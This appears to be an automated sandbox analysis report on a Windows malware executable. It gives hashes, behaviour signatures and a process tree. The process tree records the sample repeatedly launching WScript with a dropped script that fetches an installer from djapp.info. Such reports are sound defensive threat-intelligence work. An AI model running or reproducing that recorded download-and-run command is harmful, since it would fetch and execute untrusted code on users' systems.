Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    24-11-2022 04:14

General

  • Target

    abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53.exe

  • Size

    184KB

  • MD5

    8f31ecfc1b23b82860635320315e2f8c

  • SHA1

    c9c05a28e3c545a9d0baaff3b0ec8056d3948161

  • SHA256

    abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53

  • SHA512

    13cf4b4af1ce1dd7f4f0ca60e9cba922915a01bed0d36e8362db34336a646a4c3e6df4d9f19102ce4ea55fa949e4c0320c15c40597794b7c365a201832e2ae73

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO32W:/7BSH8zUB+nGESaaRvoB7FJNndne

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 14 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53.exe
    "C:\Users\Admin\AppData\Local\Temp\abe7944835620766743334364605fcfabd35d2d3802975fc59a1307a8a871f53.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1760
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2C0.js" http://www.djapp.info/?domain=wPyKXEDXvf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2C0.exe
      2⤵
      • Blocklisted process makes network request
      PID:1704
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2C0.js" http://www.djapp.info/?domain=wPyKXEDXvf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2C0.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:1564
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2C0.js" http://www.djapp.info/?domain=wPyKXEDXvf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2C0.exe
      2⤵
      • Blocklisted process makes network request
      PID:1664
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2C0.js" http://www.djapp.info/?domain=wPyKXEDXvf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2C0.exe
      2⤵
      • Blocklisted process makes network request
      PID:1776

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf2C0.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\0I5TMJHY.txt

    Filesize

    100B

    MD5

    85f3116abae1ec69575c117efc455f48

    SHA1

    338d81f3dd06243b77794cea9e4b01926b446780

    SHA256

    066c6c552f8e4c2db31834ba5e66aa55bdbfdfa5edd77bc1739dd279e04e9064

    SHA512

    751010f31f2137ae6c99f543fe27f87b0e1920455233ad81530151d26094a40731a955042930869c7943daf916370171648b0bf664b1cb26016b4bd57b70f060

  • memory/1564-58-0x0000000000000000-mapping.dmp

  • memory/1664-61-0x0000000000000000-mapping.dmp

  • memory/1704-55-0x0000000000000000-mapping.dmp

  • memory/1760-54-0x0000000076191000-0x0000000076193000-memory.dmp

    Filesize

    8KB

  • memory/1776-63-0x0000000000000000-mapping.dmp